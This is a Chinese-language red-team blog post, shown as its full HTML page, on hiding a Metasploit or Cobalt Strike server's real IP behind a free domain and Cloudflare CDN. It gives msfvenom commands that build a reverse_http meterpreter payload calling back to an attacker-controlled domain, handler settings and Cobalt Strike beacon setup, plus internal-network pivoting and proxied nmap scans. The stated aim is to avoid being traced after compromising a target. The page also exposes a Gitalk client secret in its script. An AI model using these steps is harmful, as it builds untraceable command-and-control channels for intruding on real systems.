<!DOCTYPE html>



  


<html class="theme-next pisces use-motion" lang="zh-Hans">
<head>
  <meta charset="UTF-8"/>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"/>
<meta name="theme-color" content="#222">









<meta http-equiv="Cache-Control" content="no-transform" />
<meta http-equiv="Cache-Control" content="no-siteapp" />
















  
  
  <link href="/lib/fancybox/source/jquery.fancybox.css?v=2.1.5" rel="stylesheet" type="text/css" />







<link href="/lib/font-awesome/css/font-awesome.min.css?v=4.6.2" rel="stylesheet" type="text/css" />

<link href="/css/main.css?v=5.1.4" rel="stylesheet" type="text/css" />


  <link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png?v=5.1.4">


  <link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png?v=5.1.4">


  <link rel="mask-icon" href="/images/logo.svg?v=5.1.4" color="#222">





  <meta name="keywords" content="渗透测试,内网,红队," />





  <link rel="alternate" href="/atom.xml" title="Mugen" type="application/atom+xml" />






<meta name="description" content="前言在拿下了目标机之后，目标机在内网里面，使用用msf或者CS时，用VPS做服务器的话，会导致自己的VPS的IP泄露，导致很容易被溯源。  最快最稳的方式当然还是找跳板，当然我这种严格遵守网络安全法的好孩子是不可能有肉鸡做跳板的。 思来想去，查阅了一些资料后发现，域名上线走CDN是个不错的选择。 于是在研究了一段时间之后，写下了这篇文章。 正文域名和CDN配置需要的东西：一台国外的VPS 这里我推">
<meta name="keywords" content="渗透测试,内网,红队">
<meta property="og:type" content="article">
<meta property="og:title" content="cs和msf域名上线隐藏真实ip">
<meta property="og:url" content="http://legoc.gitee.io/2019/07/07/cs和msf域名上线隐藏真实ip/index.html">
<meta property="og:site_name" content="Mugen">
<meta property="og:description" content="前言在拿下了目标机之后，目标机在内网里面，使用用msf或者CS时，用VPS做服务器的话，会导致自己的VPS的IP泄露，导致很容易被溯源。  最快最稳的方式当然还是找跳板，当然我这种严格遵守网络安全法的好孩子是不可能有肉鸡做跳板的。 思来想去，查阅了一些资料后发现，域名上线走CDN是个不错的选择。 于是在研究了一段时间之后，写下了这篇文章。 正文域名和CDN配置需要的东西：一台国外的VPS 这里我推">
<meta property="og:locale" content="zh-Hans">
<meta property="og:image" content="http://legoc.gitee.io/2019/07/07/cs和msf域名上线隐藏真实ip/timg.jpg">
<meta property="og:image" content="http://legoc.gitee.io/2019/07/07/cs和msf域名上线隐藏真实ip/b2.jpg">
<meta property="og:image" content="http://legoc.gitee.io/2019/07/07/cs和msf域名上线隐藏真实ip/a1.jpg">
<meta property="og:image" content="http://legoc.gitee.io/2019/07/07/cs和msf域名上线隐藏真实ip/a2.jpg">
<meta property="og:image" content="http://legoc.gitee.io/2019/07/07/cs和msf域名上线隐藏真实ip/1.jpg">
<meta property="og:image" content="http://legoc.gitee.io/2019/07/07/cs和msf域名上线隐藏真实ip/2.jpg">
<meta property="og:image" content="http://legoc.gitee.io/2019/07/07/cs和msf域名上线隐藏真实ip/cs1.jpg">
<meta property="og:image" content="http://legoc.gitee.io/2019/07/07/cs和msf域名上线隐藏真实ip/cs2.jpg">
<meta property="og:image" content="http://legoc.gitee.io/2019/07/07/cs和msf域名上线隐藏真实ip/a3.jpg">
<meta property="og:updated_time" content="2020-03-10T09:24:15.589Z">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="cs和msf域名上线隐藏真实ip">
<meta name="twitter:description" content="前言在拿下了目标机之后，目标机在内网里面，使用用msf或者CS时，用VPS做服务器的话，会导致自己的VPS的IP泄露，导致很容易被溯源。  最快最稳的方式当然还是找跳板，当然我这种严格遵守网络安全法的好孩子是不可能有肉鸡做跳板的。 思来想去，查阅了一些资料后发现，域名上线走CDN是个不错的选择。 于是在研究了一段时间之后，写下了这篇文章。 正文域名和CDN配置需要的东西：一台国外的VPS 这里我推">
<meta name="twitter:image" content="http://legoc.gitee.io/2019/07/07/cs和msf域名上线隐藏真实ip/timg.jpg">



<script type="text/javascript" id="hexo.configurations">
  var NexT = window.NexT || {};
  var CONFIG = {
    root: '/',
    scheme: 'Pisces',
    version: '5.1.4',
    sidebar: {"position":"left","display":"post","offset":12,"b2t":true,"scrollpercent":true,"onmobile":false},
    fancybox: true,
    tabs: true,
    motion: {"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},
    duoshuo: {
      userId: '0',
      author: '博主'
    },
    algolia: {
      applicationID: '',
      apiKey: '',
      indexName: '',
      hits: {"per_page":10},
      labels: {"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}
    }
  };
</script>



  <link rel="canonical" href="http://legoc.gitee.io/2019/07/07/cs和msf域名上线隐藏真实ip/"/>





  <title>cs和msf域名上线隐藏真实ip | Mugen</title>
  








</head>

<body itemscope itemtype="http://schema.org/WebPage" lang="zh-Hans">

  
  
    
  

  <div class="container sidebar-position-left page-post-detail">
    <div class="headband"></div>

    <header id="header" class="header" itemscope itemtype="http://schema.org/WPHeader">
      <div class="header-inner"><div class="site-brand-wrapper">
  <div class="site-meta ">
    

    <div class="custom-logo-site-title">
      <a href="/"  class="brand" rel="start">
        <span class="logo-line-before"><i></i></span>
        <span class="site-title">Mugen</span>
        <span class="logo-line-after"><i></i></span>
      </a>
    </div>
      
        <p class="site-subtitle">lego's blog</p>
      
  </div>

  <div class="site-nav-toggle">
    <button>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
      <span class="btn-bar"></span>
    </button>
  </div>
</div>

<nav class="site-nav">
  

  
    <ul id="menu" class="menu">
      
        
        <li class="menu-item menu-item-home">
          <a href="/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-home"></i> <br />
            
            首页
          </a>
        </li>
      
        
        <li class="menu-item menu-item-categories">
          <a href="/categories/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-th"></i> <br />
            
            分类
          </a>
        </li>
      
        
        <li class="menu-item menu-item-archives">
          <a href="/archives/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-archive"></i> <br />
            
            归档
          </a>
        </li>
      
        
        <li class="menu-item menu-item-tags">
          <a href="/tags/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-tags"></i> <br />
            
            标签
          </a>
        </li>
      
        
        <li class="menu-item menu-item-links">
          <a href="/links" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-flag"></i> <br />
            
            朋友
          </a>
        </li>
      
        
        <li class="menu-item menu-item-about">
          <a href="/about/" rel="section">
            
              <i class="menu-item-icon fa fa-fw fa-user"></i> <br />
            
            关于我
          </a>
        </li>
      

      
    </ul>
  

  
</nav>



 </div>
    </header>

    <main id="main" class="main">
      <div class="main-inner">
        <div class="content-wrap">
          <div id="content" class="content">
            

  <div id="posts" class="posts-expand">
    

  

  
  
  

  <article class="post post-type-normal" itemscope itemtype="http://schema.org/Article">
  
  
  
  <div class="post-block">
    <link itemprop="mainEntityOfPage" href="http://legoc.gitee.io/2019/07/07/cs和msf域名上线隐藏真实ip/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="name" content="lego">
      <meta itemprop="description" content="">
      <meta itemprop="image" content="https://raw.githubusercontent.com/legoc/legoc.github.io/master/about/index/baye.png">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Mugen">
    </span>

    
      <header class="post-header">

        
        
          <h1 class="post-title" itemprop="name headline">cs和msf域名上线隐藏真实ip</h1>
        

        <div class="post-meta">
          <span class="post-time">
            
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              
                <span class="post-meta-item-text">发表于</span>
              
              <time title="创建于" itemprop="dateCreated datePublished" datetime="2019-07-07T10:20:36+08:00">
                2019-07-07
              </time>
            

            

            
          </span>

          
            <span class="post-category" >
            
              <span class="post-meta-divider">|</span>
            
              <span class="post-meta-item-icon">
                <i class="fa fa-folder-o"></i>
              </span>
              
                <span class="post-meta-item-text">分类于</span>
              
              
                <span itemprop="about" itemscope itemtype="http://schema.org/Thing">
                  <a href="/categories/红队/" itemprop="url" rel="index">
                    <span itemprop="name">红队</span>
                  </a>
                </span>

                
                
              
            </span>
          

          
            
          

          
          

          
            <span class="post-meta-divider">|</span>
            <span class="page-pv"><i class="fa fa-file-o"></i> 阅读次数
            <span class="busuanzi-value" id="busuanzi_value_page_pv" ></span>
            </span>
          

          

          

        </div>
      </header>
    

    
    
    
    <div class="post-body" itemprop="articleBody">

      
      

      
        <h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>在拿下了目标机之后，目标机在内网里面，使用用msf或者CS时，用VPS做服务器的话，会导致自己的VPS的IP泄露，导致很容易被溯源。</p>
<p><img src="/2019/07/07/cs和msf域名上线隐藏真实ip/timg.jpg" alt=""></p>
<p>最快最稳的方式当然还是找跳板，当然我这种严格遵守网络安全法的好孩子是不可能有肉鸡做跳板的。</p>
<p>思来想去，查阅了一些资料后发现，域名上线走CDN是个不错的选择。</p>
<p>于是在研究了一段时间之后，写下了这篇文章。</p>
<h2 id="正文"><a href="#正文" class="headerlink" title="正文"></a>正文</h2><h3 id="域名和CDN配置"><a href="#域名和CDN配置" class="headerlink" title="域名和CDN配置"></a>域名和CDN配置</h3><p>需要的东西：一台国外的VPS 这里我推荐vultr （腾讯云和阿里云等国内的VPS是不支持免备案的）</p>
<p>说到域名上线，自然就不能老老实实的去用自己备案了的域名，不然又是一个当场逮捕。</p>
<p>到这里<a href="https://freenom.com/" target="_blank" rel="noopener">https://freenom.com/</a> 注册一个免费且不用备案的的tk域名</p>
<p>这里注册如果失败检测一下是不是邮箱不对，因为它不支持一些邮箱如163,126邮箱等，可以用gmail注册。</p>
<p>到这里<a href="https://www.cloudflare.com/" target="_blank" rel="noopener">https://www.cloudflare.com/</a> 你可以搞到一个免费的CDN</p>
<p>为什么我多次强调免费呢？当然是因为贫穷、</p>
<p><img src="/2019/07/07/cs和msf域名上线隐藏真实ip/b2.jpg" alt=""></p>
<p>注册完freenom和cloudflare的账号之后</p>
<p>在freenom的Nameservers里填上cloudflare所提示的配置信息如下</p>
<p><img src="/2019/07/07/cs和msf域名上线隐藏真实ip/a1.jpg" alt=""></p>
<p>不要用freenom自带的域名解析，因为它自带的没上CDN ping一下域名就知道VPS ip了</p>
<p>在cloudflare里面配置一个A类的解析 就是vps的ip</p>
<p><img src="/2019/07/07/cs和msf域名上线隐藏真实ip/a2.jpg" alt=""></p>
<p>然后域名配置的事就算完成了。</p>
<p>这个时候，我ping我域名，解析的ip是CDN的，从而隐藏了我的真实ip。</p>
<h3 id="域名上线"><a href="#域名上线" class="headerlink" title="域名上线"></a>域名上线</h3><h4 id="注意事项"><a href="#注意事项" class="headerlink" title="注意事项"></a>注意事项</h4><p>Cloudflare有个特点，如果用其他端口的话，是监听不到的</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">Cloudflare支持的HTTP端口是：</span><br><span class="line"></span><br><span class="line">80,8080,8880,2052,2082,2086,2095</span><br><span class="line"></span><br><span class="line">Cloudflare支持的HTTPs端口是：</span><br><span class="line"></span><br><span class="line">443,2053,2083,2087,2096,8443</span><br></pre></td></tr></table></figure>
<h4 id="MSF域名上线"><a href="#MSF域名上线" class="headerlink" title="MSF域名上线"></a>MSF域名上线</h4><p>首先生成一个meterpreter</p>
<p>平时我们用的比较多的是reverse_tcp，在这里我们要用的是reverse_http</p>
<p>msfvenom -p windows/x64/meterpreter/reverse_http LHOST=cs.ringone.tk LPORT=2095 -f exe &gt; shell.exe</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">msfvenom -p windows/x64/meterpreter/reverse_http LHOST=cs.XXXX.tk LPORT=2095 -f exe &gt; shell.exe</span><br></pre></td></tr></table></figure>
<p>上传到靶机里面运行，VPS监听</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">use exploit/multi/handler</span><br><span class="line">set PAYLOAD windows/x64/meterpreter/reverse_http</span><br><span class="line">set lhost cs.XXXX.tk</span><br><span class="line">set LPORT 2095</span><br><span class="line">run</span><br></pre></td></tr></table></figure>
<p>如果在过程中遇到msfconsole关于allocate memory - infocmp，解决方案为</p>
<p>出自 <a href="https://www.optiv.com/blog/create-a-budget-friendly-virtual-private-server-with-a-metasploit-instance" target="_blank" rel="noopener">https://www.optiv.com/blog/create-a-budget-friendly-virtual-private-server-with-a-metasploit-instance</a></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">root@vultr:~# cd /var</span><br><span class="line">root@vultr:/var# touch swap.img</span><br><span class="line">root@vultr:/var# chmod 600 swap.img</span><br><span class="line">root@vultr:/var# dd if=/dev/zero of=/var/swap.img bs=1024k count=1000</span><br><span class="line">root@vultr:/var# mkswap /var/swap.img</span><br><span class="line">root@vultr:/var# swapon /var/swap.img</span><br></pre></td></tr></table></figure>
<p>这时不出意外我们应该得到了一个session，这时在执行一些操作的时候，靶机用wireshark抓包，看流量</p>
<p><img src="/2019/07/07/cs和msf域名上线隐藏真实ip/1.jpg" alt=""></p>
<p><img src="/2019/07/07/cs和msf域名上线隐藏真实ip/2.jpg" alt=""></p>
<p>看到的IP是来自CDN 104.24.117.1我们的VPS地址得到了有效的隐藏，如果想解决环境有恶意域名检测的话，</p>
<p>那么可以用域名前置的方式来解决这个问题，这个已经有很多大佬写了这方面的文章，我这里就不一一描述了。</p>
<p>推荐阅读 <a href="https://xz.aliyun.com/t/4509" target="_blank" rel="noopener">https://xz.aliyun.com/t/4509</a></p>
<h4 id="CS域名上线"><a href="#CS域名上线" class="headerlink" title="CS域名上线"></a>CS域名上线</h4><p>payload选 windows/beacon_http/reverse_http</p>
<p>主机填域名</p>
<p>端口填上面CF支持的任意http端口</p>
<p>生成后门，靶机运行后门，</p>
<p>执行一些操作，靶机抓包，查看流量。</p>
<p><img src="/2019/07/07/cs和msf域名上线隐藏真实ip/cs1.jpg" alt=""></p>
<p><img src="/2019/07/07/cs和msf域名上线隐藏真实ip/cs2.jpg" alt=""></p>
<p>CS里面也成功的隐藏了VPS的IP</p>
<h3 id="测试"><a href="#测试" class="headerlink" title="测试"></a>测试</h3><p>后来我在想tcp和http的meterpreter会不会存在很多不一样的地方</p>
<p>会不会在内网渗透的时候代理失败</p>
<p>于是我开始做了一点简单的测试</p>
<p>环境</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">虚拟机 192.168.20.141</span><br><span class="line">本机 10.11.2.225</span><br><span class="line">路由器 10.11.2.128 存在一个web服务</span><br><span class="line">公网vps</span><br></pre></td></tr></table></figure>
<p><img src="/2019/07/07/cs和msf域名上线隐藏真实ip/a3.jpg" alt=""></p>
<p>VPS监听来自虚拟机的meterpreter</p>
<p>来测试一下能否扫到路由器的web服务</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">run autoroute -s 10.11.2.0 -n 255.255.255.0  //添加一个路由 </span><br><span class="line">background</span><br><span class="line">use auxiliary/scanner/http/title</span><br><span class="line">set rhosts 10.11.2.0/24</span><br><span class="line">run</span><br></pre></td></tr></table></figure>
<p>速度上有点慢，但还是扫出了结果</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[+] [10.11.2.128:80] [C:200] [R:] [S:EUHTϞП·ԉǷ] EUHTϞП·ԉǷ</span><br></pre></td></tr></table></figure>
<p>尝试挂代理扫描</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">use auxiliary/server/socks4a</span><br><span class="line">run</span><br></pre></td></tr></table></figure>
<p>编辑/etc/proxychains.conf  最后一行加上</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">socks4 0.0.0.0 1080</span><br></pre></td></tr></table></figure>
<p>通过代理用nmap来扫描内网的web服务</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line">proxychains4 nmap -sT -Pn -p445,80 --open 10.11.2.0/24</span><br><span class="line"></span><br><span class="line">[proxychains] Strict chain  ...  0.0.0.0:1080  ...  10.11.2.128:80  ...  OK</span><br><span class="line">[proxychains] Strict chain  ...  0.0.0.0:1080  ...  10.11.2.225:445  ...  OK</span><br><span class="line"></span><br><span class="line">Nmap scan report for 10.11.2.128</span><br><span class="line">Host is up (6.9s latency).</span><br><span class="line">Not shown: 1 closed port</span><br><span class="line">PORT   STATE SERVICE</span><br><span class="line">80/tcp open  http</span><br><span class="line"></span><br><span class="line">Nmap scan report for 10.11.2.225</span><br><span class="line">Host is up (8.5s latency).</span><br><span class="line">Not shown: 1 closed port</span><br><span class="line">PORT    STATE SERVICE</span><br><span class="line">445/tcp open  microsoft-ds</span><br></pre></td></tr></table></figure>
<p>成功的扫描到了我的物理机和路由器</p>
<p>说明用域名上线走http的meterpreter，也是可以执行一些内网渗透方面的内容，当然，速度上感觉比tcp的慢了许多。</p>
<p>至于tcp和http不同方式上线，是否会导致某些msf模块无法使用，需要在后续的过程中慢慢摸索，我只发现了有很多模块http和tcp都无法通过代理的方式使用，如nmap的ping存活扫描，arp扫描等。</p>
<p>以上便是我最近在cs和msf域名上线上学习的一点心得体会，感谢各位师傅的阅读。</p>
<p>c</p>

      
    </div>
    
    
    

    

    

    
      <div>
        <ul class="post-copyright">
  <li class="post-copyright-author">
    <strong>本文作者：</strong>
    lego
  </li>
  <li class="post-copyright-link">
    <strong>本文链接：</strong>
    <a href="http://legoc.gitee.io/2019/07/07/cs和msf域名上线隐藏真实ip/" title="cs和msf域名上线隐藏真实ip">http://legoc.gitee.io/2019/07/07/cs和msf域名上线隐藏真实ip/</a>
  </li>
  <li class="post-copyright-license">
    <strong>版权声明： </strong>
    本博客所有文章除特别声明外，均采用 <a href="https://creativecommons.org/licenses/by-nc-sa/4.0/" rel="external nofollow" target="_blank">CC BY-NC-SA 4.0</a> 许可协议。转载请注明出处！
  </li>
</ul>

      </div>
    

    <footer class="post-footer">
      
        <div class="post-tags">
          
            <a href="/tags/渗透测试/" rel="tag"># 渗透测试</a>
          
            <a href="/tags/内网/" rel="tag"># 内网</a>
          
            <a href="/tags/红队/" rel="tag"># 红队</a>
          
        </div>
      

      
      
      

      
        <div class="post-nav">
          <div class="post-nav-next post-nav-item">
            
              <a href="/2019/05/27/我好吗-太阳如常升起/" rel="next" title="我好吗?-太阳如常升起">
                <i class="fa fa-chevron-left"></i> 我好吗?-太阳如常升起
              </a>
            
          </div>

          <span class="post-nav-divider"></span>

          <div class="post-nav-prev post-nav-item">
            
              <a href="/2019/07/20/SRC-信息收集/" rel="prev" title="SRC-信息收集">
                SRC-信息收集 <i class="fa fa-chevron-right"></i>
              </a>
            
          </div>
        </div>
      

      
      
    </footer>
  </div>
  
  
  
  </article>



    <div class="post-spread">
      
    </div>
  </div>


          </div>
          


          

  
 <div id="gitalk-container"></div>
 
  



        </div>
        
          
  
  <div class="sidebar-toggle">
    <div class="sidebar-toggle-line-wrap">
      <span class="sidebar-toggle-line sidebar-toggle-line-first"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-middle"></span>
      <span class="sidebar-toggle-line sidebar-toggle-line-last"></span>
    </div>
  </div>

  <aside id="sidebar" class="sidebar">
    
    <div class="sidebar-inner">

      

      
        <ul class="sidebar-nav motion-element">
          <li class="sidebar-nav-toc sidebar-nav-active" data-target="post-toc-wrap">
            文章目录
          </li>
          <li class="sidebar-nav-overview" data-target="site-overview-wrap">
            站点概览
          </li>
        </ul>
      

      <section class="site-overview-wrap sidebar-panel">
        <div class="site-overview">
          <div class="site-author motion-element" itemprop="author" itemscope itemtype="http://schema.org/Person">
            
              <img class="site-author-image" itemprop="image"
                src="https://raw.githubusercontent.com/legoc/legoc.github.io/master/about/index/baye.png"
                alt="lego" />
            
              <p class="site-author-name" itemprop="name">lego</p>
              <p class="site-description motion-element" itemprop="description">从小菜鸡往大菜鸡成长的路上...</p>
          </div>

          <nav class="site-state motion-element">

            
              <div class="site-state-item site-state-posts">
              
                <a href="/archives/">
              
                  <span class="site-state-item-count">41</span>
                  <span class="site-state-item-name">日志</span>
                </a>
              </div>
            

            
              
              
              <div class="site-state-item site-state-categories">
                <a href="/categories/index.html">
                  <span class="site-state-item-count">8</span>
                  <span class="site-state-item-name">分类</span>
                </a>
              </div>
            

            
              
              
              <div class="site-state-item site-state-tags">
                <a href="/tags/index.html">
                  <span class="site-state-item-count">63</span>
                  <span class="site-state-item-name">标签</span>
                </a>
              </div>
            

          </nav>

          
            <div class="feed-link motion-element">
              <a href="/atom.xml" rel="alternate">
                <i class="fa fa-rss"></i>
                RSS
              </a>
            </div>
          

          

          
          

          
          

          

        </div>
      </section>

      
      <!--noindex-->
        <section class="post-toc-wrap motion-element sidebar-panel sidebar-panel-active">
          <div class="post-toc">

            
              
            

            
              <div class="post-toc-content"><ol class="nav"><li class="nav-item nav-level-2"><a class="nav-link" href="#前言"><span class="nav-number">1.</span> <span class="nav-text">前言</span></a></li><li class="nav-item nav-level-2"><a class="nav-link" href="#正文"><span class="nav-number">2.</span> <span class="nav-text">正文</span></a><ol class="nav-child"><li class="nav-item nav-level-3"><a class="nav-link" href="#域名和CDN配置"><span class="nav-number">2.1.</span> <span class="nav-text">域名和CDN配置</span></a></li><li class="nav-item nav-level-3"><a class="nav-link" href="#域名上线"><span class="nav-number">2.2.</span> <span class="nav-text">域名上线</span></a><ol class="nav-child"><li class="nav-item nav-level-4"><a class="nav-link" href="#注意事项"><span class="nav-number">2.2.1.</span> <span class="nav-text">注意事项</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#MSF域名上线"><span class="nav-number">2.2.2.</span> <span class="nav-text">MSF域名上线</span></a></li><li class="nav-item nav-level-4"><a class="nav-link" href="#CS域名上线"><span class="nav-number">2.2.3.</span> <span class="nav-text">CS域名上线</span></a></li></ol></li><li class="nav-item nav-level-3"><a class="nav-link" href="#测试"><span class="nav-number">2.3.</span> <span class="nav-text">测试</span></a></li></ol></li></ol></div>
            

          </div>
        </section>
      <!--/noindex-->
      

      
        <div class="back-to-top">
          <i class="fa fa-arrow-up"></i>
          
            <span id="scrollpercent"><span>0</span>%</span>
          
        </div>
      

    </div>
  </aside>


        
      </div>
    </main>

    <footer id="footer" class="footer">
      <div class="footer-inner">
        <div class="copyright">&copy; <span itemprop="copyrightYear">2023</span>
  <span class="with-love">
    <i class="fa fa-user"></i>
  </span>
  <span class="author" itemprop="copyrightHolder">lego</span>

  
</div>


  <div class="powered-by">由 <a class="theme-link" target="_blank" href="https://hexo.io">Hexo</a> 强力驱动</div>



  <span class="post-meta-divider">|</span>



  <div class="theme-info">主题 &mdash; <a class="theme-link" target="_blank" href="https://github.com/iissnan/hexo-theme-next">NexT.Pisces</div>




        
<div class="busuanzi-count">
  <script async src="https://dn-lbstatics.qbox.me/busuanzi/2.3/busuanzi.pure.mini.js"></script>

  

  
</div>








        
      </div>
    </footer>

    

    

  </div>

  

<script type="text/javascript">
  if (Object.prototype.toString.call(window.Promise) !== '[object Function]') {
    window.Promise = null;
  }
</script>









  












  
  
    <script type="text/javascript" src="/lib/jquery/index.js?v=2.1.3"></script>
  

  
  
    <script type="text/javascript" src="/lib/fastclick/lib/fastclick.min.js?v=1.0.6"></script>
  

  
  
    <script type="text/javascript" src="/lib/jquery_lazyload/jquery.lazyload.js?v=1.9.7"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/velocity/velocity.ui.min.js?v=1.2.1"></script>
  

  
  
    <script type="text/javascript" src="/lib/fancybox/source/jquery.fancybox.pack.js?v=2.1.5"></script>
  


  


  <script type="text/javascript" src="/js/src/utils.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/motion.js?v=5.1.4"></script>



  
  


  <script type="text/javascript" src="/js/src/affix.js?v=5.1.4"></script>

  <script type="text/javascript" src="/js/src/schemes/pisces.js?v=5.1.4"></script>



  
  <script type="text/javascript" src="/js/src/scrollspy.js?v=5.1.4"></script>
<script type="text/javascript" src="/js/src/post-details.js?v=5.1.4"></script>



  


  <script type="text/javascript" src="/js/src/bootstrap.js?v=5.1.4"></script>



  


  




	





  





  












  <link rel="stylesheet" href="https://unpkg.com/gitalk/dist/gitalk.css">
  <script src="https://unpkg.com/gitalk/dist/gitalk.min.js"></script>
   <script type="text/javascript">
        var gitalk = new Gitalk({
          clientID: '76aae4c57ee7f811d638',
          clientSecret: 'd6d32a0bf34087bf9ee31a1a74fd5bd72cc23c92',
          repo: 'legoc.github.io',
          owner: 'legoc',
          admin: ['legoc'],
          id: decodeURI(window.location.pathname),
          distractionFreeMode: 'true'
        })
        gitalk.render('gitalk-container')           
       </script>
	   
	   
	   




  





  

  

  

  
  

  

  

  

</body>
</html>
